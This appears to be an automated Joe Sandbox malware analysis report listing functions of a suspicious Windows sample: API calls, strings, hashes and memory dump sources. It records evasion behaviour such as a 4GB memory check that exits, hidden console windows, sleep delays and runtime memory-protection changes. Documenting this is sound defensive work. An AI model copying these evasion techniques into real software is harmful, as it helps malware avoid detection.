Associated: 00000001.00000002.1951221065.0000000000190000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1951268248.00000000001B8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1951287823.00000000001C7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1951311250.00000000001C9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_190000_LisectAVT_2403002B_295.jbxd

Similarity

API ID: Internet$CloseHandleOpentask$FileRead
String ID: Mozilla/5.0
API String ID: 3826775226-2630049532
Opcode ID: d8948b4415644b491b0dc094b6e8ed0b04721adf24dcbe7e6bd82c336eb0de08
Instruction ID: 19535db031273f65e268367dcf26184d57e3f670c0d5e51c0c096872753e9676
Opcode Fuzzy Hash: d8948b4415644b491b0dc094b6e8ed0b04721adf24dcbe7e6bd82c336eb0de08
Instruction Fuzzy Hash: 21317CB5900209ABDF24EFA4DD46FEEB7B8BB54700F104659F616762C0DB746A41CB90

Function 001934B0 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 42
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetConsoleWindow.KERNEL32 ref: 001934B6
ShowWindow.USER32(?,00000000), ref: 001934C5
GlobalMemoryStatusEx.KERNEL32(00000040), ref: 001934D6
Sleep.KERNEL32(00000BB8), ref: 0019351F
Sleep.KERNEL32(00000BB8), ref: 0019352F

Strings

@, xrefs: 001934CB
Memory is less than or equal to 4GB. Exiting..., xrefs: 001934FB

Memory Dump Source

Source File: 00000001.00000002.1951241691.0000000000191000.00000020.00000001.01000000.00000003.sdmp, Offset: 00190000, based on PE: true

Associated: 00000001.00000002.1951221065.0000000000190000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1951268248.00000000001B8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1951287823.00000000001C7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1951311250.00000000001C9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_190000_LisectAVT_2403002B_295.jbxd

Similarity

API ID: SleepWindow$ConsoleGlobalMemoryShowStatus
String ID: @$Memory is less than or equal to 4GB. Exiting...
API String ID: 4178238871-156674193
Opcode ID: 319557c62f05c352cbf58fc7c46878114416053df7f7c516b685825aaad592ab
Instruction ID: 8f927e85dcf6dddbcafb8444e58683dbf19073ed40576479e9603fe1d72a82be
Opcode Fuzzy Hash: 319557c62f05c352cbf58fc7c46878114416053df7f7c516b685825aaad592ab
Instruction Fuzzy Hash: FE017874E10308EBDF00BFE5D90AA9DBBB8AB18B42F104164F911A2290EB749A44CB56

Function 00194480 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 157
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

char_traits.LIBCPMTD ref: 0019449B
char_traits.LIBCPMTD ref: 001944AE

Strings

, xrefs: 0019455F

Memory Dump Source

Source File: 00000001.00000002.1951241691.0000000000191000.00000020.00000001.01000000.00000003.sdmp, Offset: 00190000, based on PE: true

Associated: 00000001.00000002.1951221065.0000000000190000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1951268248.00000000001B8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1951287823.00000000001C7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1951311250.00000000001C9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_190000_LisectAVT_2403002B_295.jbxd

Similarity

API ID: char_traits
String ID:
API String ID: 1158913984-3916222277
Opcode ID: 281b750e81fa0e94293e36bcd2a3c260b5a7eb5e044ce2296b9d56d362d88dfa
Instruction ID: fce576e7cf2363e4619095d97cce99594c7b77497710e1647964fa40d8236a62
Opcode Fuzzy Hash: 281b750e81fa0e94293e36bcd2a3c260b5a7eb5e044ce2296b9d56d362d88dfa
Instruction Fuzzy Hash: 0D5182B5D04108EFCF18EFE4D851DEEBBB5BF55340F458069E402AB242EB349A46CBA1

Function 001A9E4C Relevance: 9.3, APIs: 6, Instructions: 292
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000001.00000002.1951241691.0000000000191000.00000020.00000001.01000000.00000003.sdmp, Offset: 00190000, based on PE: true

Associated: 00000001.00000002.1951221065.0000000000190000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1951268248.00000000001B8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1951287823.00000000001C7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1951311250.00000000001C9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_190000_LisectAVT_2403002B_295.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 16e6fcd64c138a0c2c360d1cef14bc4ffef629062830d2abfbd31a47bd18db90
Instruction ID: 85a5627d7fc8608a2721f33164af65a264d573c5ef44a25764f9cc50df317709
Opcode Fuzzy Hash: 16e6fcd64c138a0c2c360d1cef14bc4ffef629062830d2abfbd31a47bd18db90
Instruction Fuzzy Hash: 12B1F578A04249BFDB12DFA8C881BBEBBB4BF5B314F544158F90197292C7719D81CB92

Function 030761E7 Relevance: 6.1, APIs: 4, Instructions: 99memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 03078405: LoadLibraryA.KERNEL32(00000000,?,?), ref: 03078497

VirtualProtect.KERNEL32(00000000,0000000C,00000040,?), ref: 03076242
VirtualProtect.KERNEL32(00000000,0000000C,?,?), ref: 03076275
VirtualProtect.KERNEL32(00000000,0040145E,00000040,?), ref: 030762A8
VirtualProtect.KERNEL32(00000000,0040145E,?,?), ref: 030762D2

Memory Dump Source

Source File: 00000001.00000003.1886445362.0000000003070000.00000040.00001000.00020000.00000000.sdmp, Offset: 03070000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_3_3070000_LisectAVT_2403002B_295.jbxd

Yara matches

Similarity

API ID: ProtectVirtual$LibraryLoad
String ID:
API String ID: 895956442-0
Opcode ID: 93985e93d1afab8f719b8aa13ce6a91e230957808ceab0eaee363415b4ddc148
Instruction ID: 75ee812cc2dd31cfb2f6d45b14adb87a5fc0ec996e45f6b317ff1f4607084551
Opcode Fuzzy Hash: 93985e93d1afab8f719b8aa13ce6a91e230957808ceab0eaee363415b4ddc148
Instruction Fuzzy Hash: FA21F9B2A05B0D3EE390E9608C49FB776DCDB85304F04443EFA47D5550EB6AA90642B9

Function 03078405 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 66libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(00000000,?,?), ref: 03078497

Strings

.dll, xrefs: 03078473, 03078476
., xrefs: 03078430

Memory Dump Source

Source File: 00000001.00000003.1886445362.0000000003070000.00000040.00001000.00020000.00000000.sdmp, Offset: 03070000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_3_3070000_LisectAVT_2403002B_295.jbxd

Yara matches

Similarity

API ID: LibraryLoad
String ID: .$.dll
API String ID: 1029625771-979041800
Opcode ID: f6f06f52cd4a024ca790678b75224790e8b38e6a55f670a1ffdfea5ea75d1fe1
Instruction ID: e9a03f55077a17bbd561e959786e2f5a8315a1c3b6e8eb71f6ae589a85a82c3d
Opcode Fuzzy Hash: f6f06f52cd4a024ca790678b75224790e8b38e6a55f670a1ffdfea5ea75d1fe1
Instruction Fuzzy Hash: F3210636E012859FE761CFADC84DB6ABBE8AF01224F0C81ADD901DBE41D7B0F8458794

Function 001978F0 Relevance: 4.7, APIs: 3, Instructions: 248
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

char_traits.LIBCPMTD ref: 0019791D
char_traits.LIBCPMTD ref: 00197A77
char_traits.LIBCPMTD ref: 00197B5C

Memory Dump Source

Source File: 00000001.00000002.1951241691.0000000000191000.00000020.00000001.01000000.00000003.sdmp, Offset: 00190000, based on PE: true

Associated: 00000001.00000002.1951221065.0000000000190000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1951268248.00000000001B8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1951287823.00000000001C7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1951311250.00000000001C9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_190000_LisectAVT_2403002B_295.jbxd

Similarity

API ID: char_traits
String ID:
API String ID: 1158913984-0
Opcode ID: f7c6ae90a30a5be86b460959446a52f224d15132d8d9b9bea6bd76835007c861
Instruction ID: 08d641dfa8ada9b9d13d3c6481710a4eb766133a6762efabede14a4b645fee4b
Opcode Fuzzy Hash: f7c6ae90a30a5be86b460959446a52f224d15132d8d9b9bea6bd76835007c861
Instruction Fuzzy Hash: 07B11974E14209DFDF18DF98C491AAEBBB1FF88354F248119E506AB395DB34AA41CF90

Function 00193EB0 Relevance: 4.6, APIs: 3, Instructions: 120
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_Min_value.LIBCPMTD ref: 00193F1D
__fread_nolock.LIBCMT ref: 00193F98
__fread_nolock.LIBCMT ref: 00193FE8

Memory Dump Source

Source File: 00000001.00000002.1951241691.0000000000191000.00000020.00000001.01000000.00000003.sdmp, Offset: 00190000, based on PE: true

Associated: 00000001.00000002.1951221065.0000000000190000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1951268248.00000000001B8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1951287823.00000000001C7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1951311250.00000000001C9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_190000_LisectAVT_2403002B_295.jbxd

Similarity

API ID: __fread_nolock$Min_value
String ID:
API String ID: 3100174245-0
Opcode ID: 2bc047d0cd8afec999646c48889b690ad05314f6d4eafc351141759c3d75a81b
Instruction ID: 759ac6ba15d29f57155a0614be5c806ce77152d1933e8656acdf6a0d68f8077d
Opcode Fuzzy Hash: 2bc047d0cd8afec999646c48889b690ad05314f6d4eafc351141759c3d75a81b
Instruction Fuzzy Hash: 1551C775E00109EFCF08DFA8C995AAEB7B1FF88304F108169E929A7245D734AF45DB91

Function 03077057 Relevance: 4.1, APIs: 3, Instructions: 325memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,?,00003000,00000004,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 030770D1
VirtualAlloc.KERNEL32(00000000,?,00003000,00000004), ref: 030772C0
VirtualFree.KERNELBASE(00000000,00000000,0000C000), ref: 03077415

Memory Dump Source

Source File: 00000001.00000003.1886445362.0000000003070000.00000040.00001000.00020000.00000000.sdmp, Offset: 03070000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_3_3070000_LisectAVT_2403002B_295.jbxd

Yara matches

Similarity

API ID: Virtual$Alloc$Free
String ID:
API String ID: 3668210933-0
Opcode ID: 1a5418cea19d400be9e889379b85ba4036e89269bda122047750eba29fcf4b87
Instruction ID: f19893c4ef74adde8750d4fbd01ebde64cef59ce2e85bb08778fe32de91d31c6
Opcode Fuzzy Hash: 1a5418cea19d400be9e889379b85ba4036e89269bda122047750eba29fcf4b87
Instruction Fuzzy Hash: 63B1F231902B06EBDB61DE64CC84BBBF7E8FF45B80F184919F99986140E731E151CBA9

Function 001A7155 Relevance: 3.2, APIs: 2, Instructions: 196
fileCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 001A686B: GetConsoleOutputCP.KERNEL32(C010D1D5,00000000,00000000,?), ref: 001A68CE

WriteFile.KERNEL32(?,00000000,001A0F6F,?,00000000,00000000,00000000,?,00000000,?,00199714,001A0F6F,00000000,00199714,?,?), ref: 001A72DA
GetLastError.KERNEL32(?,001A0F6F,00000000,?,00199714,?,00000000,00000000), ref: 001A72E4

Memory Dump Source

Source File: 00000001.00000002.1951241691.0000000000191000.00000020.00000001.01000000.00000003.sdmp, Offset: 00190000, based on PE: true

Associated: 00000001.00000002.1951221065.0000000000190000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1951268248.00000000001B8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1951287823.00000000001C7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1951311250.00000000001C9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_190000_LisectAVT_2403002B_295.jbxd

Similarity

API ID: ConsoleErrorFileLastOutputWrite
String ID:
API String ID: 2915228174-0
Opcode ID: cf21906a6f0231373fc61d320e6010e48f9a12dc0aab41b4d3d7286af5e5d45a
Instruction ID: bd57e6b4f668ddd02350b9a7e26f761a8b9a585bb10842f6b454a03a240a9661
Opcode Fuzzy Hash: cf21906a6f0231373fc61d320e6010e48f9a12dc0aab41b4d3d7286af5e5d45a
Instruction Fuzzy Hash: 6761C4B9908119AFDF15DFA8CC84AEEBBB9BF1A304F150155F800A7281D731DA01DBA0

Function 001A6D17 Relevance: 3.1, APIs: 2, Instructions: 80
fileCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteFile.KERNEL32(?,?,?,?,00000000,00000000,00000000,?,?,001A72C0,00000000,?,00000000,001A0F6F,00000000,00000000), ref: 001A6DB3
GetLastError.KERNEL32(?,001A72C0,00000000,?,00000000,001A0F6F,00000000,00000000,?,00000000,?,00199714,001A0F6F,00000000,00199714,?), ref: 001A6DD9

Memory Dump Source

Source File: 00000001.00000002.1951241691.0000000000191000.00000020.00000001.01000000.00000003.sdmp, Offset: 00190000, based on PE: true

Associated: 00000001.00000002.1951221065.0000000000190000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1951268248.00000000001B8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1951287823.00000000001C7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1951311250.00000000001C9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_190000_LisectAVT_2403002B_295.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID:
API String ID: 442123175-0
Opcode ID: c136acc066bb116402190d70a215c3f5ccef54e44c2aac5f15a72d42668eeedf
Instruction ID: 7112236ec4445a75b04b6872c812da838458d7a548aef9bbee3f3f039e678d08
Opcode Fuzzy Hash: c136acc066bb116402190d70a215c3f5ccef54e44c2aac5f15a72d42668eeedf
Instruction Fuzzy Hash: 8A21EF35B002189BCF19CF69CC809E9B7B9EF49341F1840A9E946D7211DB30DE86CF64

Function 001A6610 Relevance: 3.1, APIs: 2, Instructions: 65
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetStdHandle.KERNEL32(000000F6), ref: 001A665C
GetFileType.KERNEL32(00000000), ref: 001A666E

Memory Dump Source

Source File: 00000001.00000002.1951241691.0000000000191000.00000020.00000001.01000000.00000003.sdmp, Offset: 00190000, based on PE: true

Associated: 00000001.00000002.1951221065.0000000000190000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1951268248.00000000001B8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1951287823.00000000001C7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1951311250.00000000001C9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_190000_LisectAVT_2403002B_295.jbxd

Similarity

API ID: FileHandleType
String ID:
API String ID: 3000768030-0
Opcode ID: a12762b7e3a45c39b967e6f401bd50ab9c7fc826115564d008046504214ea058
Instruction ID: fccd4bc1b437768fc24eae05dc231119abd8bdf468fbeb9c6c254b67bd609930
Opcode Fuzzy Hash: a12762b7e3a45c39b967e6f401bd50ab9c7fc826115564d008046504214ea058
Instruction Fuzzy Hash: EE118E7A2047518AC7348E3E8C98622BA98ABA7334B3D071AD5BAC65F1C734D886D645

Function 001AA2FC Relevance: 3.1, APIs: 2, Instructions: 52
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetFilePointerEx.KERNEL32(00000000,00000000,001C5748,00199714,00000002,00199714,00000000,?,?,?,001AA406,00000000,?,00199714,00000002,001C5748), ref: 001AA338
GetLastError.KERNEL32(00199714,?,?,?,001AA406,00000000,?,00199714,00000002,001C5748,00000000,00199714,00000000,001C5748,0000000C,001A1046), ref: 001AA345

Memory Dump Source

Source File: 00000001.00000002.1951241691.0000000000191000.00000020.00000001.01000000.00000003.sdmp, Offset: 00190000, based on PE: true

Associated: 00000001.00000002.1951221065.0000000000190000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1951268248.00000000001B8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1951287823.00000000001C7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1951311250.00000000001C9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_190000_LisectAVT_2403002B_295.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: c3e28d7f8f56bffe112de90c5281bbfe61594ff8b545765d61c09e6bf83292b5
Instruction ID: 67fa5395ddab3abab3dfad32f0102271e538fcd435c9fd3dd51934277dfcf1c0
Opcode Fuzzy Hash: c3e28d7f8f56bffe112de90c5281bbfe61594ff8b545765d61c09e6bf83292b5
Instruction Fuzzy Hash: F301D636610215AFCF058F69DC45DAE3B69EF96320B640208F8119B190EB71ED52CB90

Function 030762E2 Relevance: 3.0, APIs: 2, Instructions: 48memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 03078405: LoadLibraryA.KERNEL32(00000000,?,?), ref: 03078497

VirtualProtect.KERNEL32(00000000,00000004,00000040,?), ref: 0307631A
VirtualProtect.KERNEL32(00000000,00000004,?,?), ref: 0307633D

Memory Dump Source

Source File: 00000001.00000003.1886445362.0000000003070000.00000040.00001000.00020000.00000000.sdmp, Offset: 03070000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_3_3070000_LisectAVT_2403002B_295.jbxd

Yara matches

Similarity

API ID: ProtectVirtual$LibraryLoad
String ID:
API String ID: 895956442-0
Opcode ID: 4b81b02862df4f1b90606a87d7a95fef9c5f7f2dde159036914d36a532f09deb
Instruction ID: 8aab62b01e84e4a139f60bf4a275a87cab0497070404adab0c095fbd4d37ffea
Opcode Fuzzy Hash: 4b81b02862df4f1b90606a87d7a95fef9c5f7f2dde159036914d36a532f09deb
Instruction Fuzzy Hash: 39F0A4B69416087EE610DA64CC46FFB77ECDF85610F444419FF06DA080FBA1E601C7A9

Function 001A7371 Relevance: 3.0, APIs: 2, Instructions: 22
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlFreeHeap.NTDLL(00000000,00000000,?,001AFBA4,0019DD61,00000000,0019DD61,?,001AFE45,0019DD61,00000007,0019DD61,?,001B0339,0019DD61,0019DD61), ref: 001A7387
GetLastError.KERNEL32(0019DD61,?,001AFBA4,0019DD61,00000000,0019DD61,?,001AFE45,0019DD61,00000007,0019DD61,?,001B0339,0019DD61,0019DD61), ref: 001A7392

Memory Dump Source

Source File: 00000001.00000002.1951241691.0000000000191000.00000020.00000001.01000000.00000003.sdmp, Offset: 00190000, based on PE: true

Associated: 00000001.00000002.1951221065.0000000000190000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1951268248.00000000001B8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1951287823.00000000001C7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1951311250.00000000001C9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_190000_LisectAVT_2403002B_295.jbxd

Similarity

API ID: ErrorFreeHeapLast
String ID:
API String ID: 485612231-0
Opcode ID: ac0739cd5fe8b85cc029eb098aea655e482caec949ef8957b815816d2bfc5f72
Instruction ID: a1a3a0d632b5a6a98feed83898f1ceb35b0e6e9ae49e4654ca22a9dce178186b
Opcode Fuzzy Hash: ac0739cd5fe8b85cc029eb098aea655e482caec949ef8957b815816d2bfc5f72
Instruction Fuzzy Hash: FFE086365002146BDB113FE4EC09B593B68AF51751F154014FA09E64A0CB318981D7C0

Function 001A9252 Relevance: 1.7, APIs: 1, Instructions: 157COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1951241691.0000000000191000.00000020.00000001.01000000.00000003.sdmp, Offset: 00190000, based on PE: true

Associated: 00000001.00000002.1951221065.0000000000190000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1951268248.00000000001B8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1951287823.00000000001C7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1951311250.00000000001C9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_190000_LisectAVT_2403002B_295.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4123ab7c47c90b09d7139d09ceaf2baa16f5c1712c731feb32bf2f014a9da5d8
Instruction ID: 56c83e9f47dd89b70e9cc0c4edde41908f74eb9f687c25893b660e2d1ca01a21
Opcode Fuzzy Hash: 4123ab7c47c90b09d7139d09ceaf2baa16f5c1712c731feb32bf2f014a9da5d8
Instruction Fuzzy Hash: 5051A578A00204AFDF14CF68C885AAD7FB5FF9A364F258159F8499B292D371DD81CB90

Function 00193850 Relevance: 1.6, APIs: 1, Instructions: 85COMMON

Download Yara Rule

APIs

Part of subcall function 00196390: std::ios_base::clear.LIBCPMTD ref: 001963C1

fpos.LIBCPMTD ref: 001938FA

Memory Dump Source

Source File: 00000001.00000002.1951241691.0000000000191000.00000020.00000001.01000000.00000003.sdmp, Offset: 00190000, based on PE: true

Associated: 00000001.00000002.1951221065.0000000000190000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1951268248.00000000001B8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1951287823.00000000001C7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1951311250.00000000001C9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_190000_LisectAVT_2403002B_295.jbxd

Similarity

API ID: fposstd::ios_base::clear
String ID:
API String ID: 1508181384-0
Opcode ID: c9ededbf620508e1a4b9541ca7456e1791953b21b89a71b6e4a5faa9e67ccb3c
Instruction ID: 79b628018d122f76308cb6e27fa77b79e6c7971034068abe84ef14bbde92b4e1
Opcode Fuzzy Hash: c9ededbf620508e1a4b9541ca7456e1791953b21b89a71b6e4a5faa9e67ccb3c
Instruction Fuzzy Hash: 11310C75A006099FCF04DF98C891FAEB7B2FF48714F108658E526AB391C735AD01CB90

Function 00198590 Relevance: 1.6, APIs: 1, Instructions: 83COMMON

Download Yara Rule

APIs

Part of subcall function 001956B0: std::ios_base::good.LIBCPMTD ref: 001956EC

char_traits.LIBCPMTD ref: 0019862B

Memory Dump Source

Source File: 00000001.00000002.1951241691.0000000000191000.00000020.00000001.01000000.00000003.sdmp, Offset: 00190000, based on PE: true

Associated: 00000001.00000002.1951221065.0000000000190000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1951268248.00000000001B8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1951287823.00000000001C7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1951311250.00000000001C9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_190000_LisectAVT_2403002B_295.jbxd

Similarity

API ID: char_traitsstd::ios_base::good
String ID:
API String ID: 160274934-0
Opcode ID: 968e78c75b2d162a39eebcd62bdf9203775e9eb97e195fe67fc4896b928b8d78
Instruction ID: c4daa298e148d72b0043c8e67c62538344bac27504bda8a4a870470be11c1034
Opcode Fuzzy Hash: 968e78c75b2d162a39eebcd62bdf9203775e9eb97e195fe67fc4896b928b8d78
Instruction Fuzzy Hash: AA310EB5D05209AFDF04DF95C991AEEBBB5FF59710F208119E502BB381DB35AA01CBA0

Function 00194BB0 Relevance: 1.6, APIs: 1, Instructions: 77COMMON

Download Yara Rule

APIs

Concurrency::IVirtualProcessorRoot::IVirtualProcessorRoot.LIBCMTD ref: 00194BEA

Memory Dump Source

Source File: 00000001.00000002.1951241691.0000000000191000.00000020.00000001.01000000.00000003.sdmp, Offset: 00190000, based on PE: true

Associated: 00000001.00000002.1951221065.0000000000190000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1951268248.00000000001B8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1951287823.00000000001C7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1951311250.00000000001C9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_190000_LisectAVT_2403002B_295.jbxd

Similarity

API ID: ProcessorVirtual$Concurrency::RootRoot::
String ID:
API String ID: 3936482309-0
Opcode ID: 4a354e4438683a2c769c330a6389c0ca7d9ba1b4a70406962de07f81725f9e2d
Instruction ID: 46fb787aacb3857a84aab45bd45bec9d429ad9a460aafec61872936c4b858bce
Opcode Fuzzy Hash: 4a354e4438683a2c769c330a6389c0ca7d9ba1b4a70406962de07f81725f9e2d
Instruction Fuzzy Hash: 3B31E9B4A0021ADFDB04DF98C991FAEB7B1FF89704F108658E5266B391C775AD00CBA1

Function 00193680 Relevance: 1.6, APIs: 1, Instructions: 77COMMON

Download Yara Rule

APIs

Concurrency::IVirtualProcessorRoot::IVirtualProcessorRoot.LIBCMTD ref: 001936BA

Memory Dump Source

Source File: 00000001.00000002.1951241691.0000000000191000.00000020.00000001.01000000.00000003.sdmp, Offset: 00190000, based on PE: true

Associated: 00000001.00000002.1951221065.0000000000190000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1951268248.00000000001B8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1951287823.00000000001C7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1951311250.00000000001C9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_190000_LisectAVT_2403002B_295.jbxd

Similarity

API ID: ProcessorVirtual$Concurrency::RootRoot::
String ID:
API String ID: 3936482309-0
Opcode ID: 670f9b9282e85aecb4b27b2687b51f41ee1a1dcf3c199cd31aa210426f64223f
Instruction ID: 689ecabce82f0aae0483ff6fa2190974f0a09b5ce2201722538314d5a316b9b1
Opcode Fuzzy Hash: 670f9b9282e85aecb4b27b2687b51f41ee1a1dcf3c199cd31aa210426f64223f
Instruction Fuzzy Hash: DA31FCB4A00619DFDF04DF98C991BAEB7B2FF45704F108658E5266B392C771AD00CB91

Function 00195980 Relevance: 1.6, APIs: 1, Instructions: 55COMMONLIBRARYCODE

Download Yara Rule

APIs

allocator.LIBCONCRTD ref: 001959FB

Memory Dump Source

Source File: 00000001.00000002.1951241691.0000000000191000.00000020.00000001.01000000.00000003.sdmp, Offset: 00190000, based on PE: true

Associated: 00000001.00000002.1951221065.0000000000190000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1951268248.00000000001B8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1951287823.00000000001C7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1951311250.00000000001C9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_190000_LisectAVT_2403002B_295.jbxd

Similarity

API ID: allocator
String ID:
API String ID: 3447690668-0
Opcode ID: fb3b94301d294bf0770dc490e12f5124bc3d15536ac262f3632e7dfa838f84a3
Instruction ID: 6ae2cde762a8abe86a9d6c98613d6f6d349b6480ddc77de0246c0756cd6fce2a
Opcode Fuzzy Hash: fb3b94301d294bf0770dc490e12f5124bc3d15536ac262f3632e7dfa838f84a3
Instruction Fuzzy Hash: CF21A2B4E0061A9FCF04DF98C891BAEB7B6FF89300F104669E415AB394D734A801CBA0

Function 001AACFF Relevance: 1.6, APIs: 1, Instructions: 54COMMON

Download Yara Rule

APIs

__wsopen_s.LIBCMT ref: 001AAD39

Memory Dump Source

Source File: 00000001.00000002.1951241691.0000000000191000.00000020.00000001.01000000.00000003.sdmp, Offset: 00190000, based on PE: true

Associated: 00000001.00000002.1951221065.0000000000190000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1951268248.00000000001B8000.00000002.00000001.01000000.00000003.sdmpDownload File
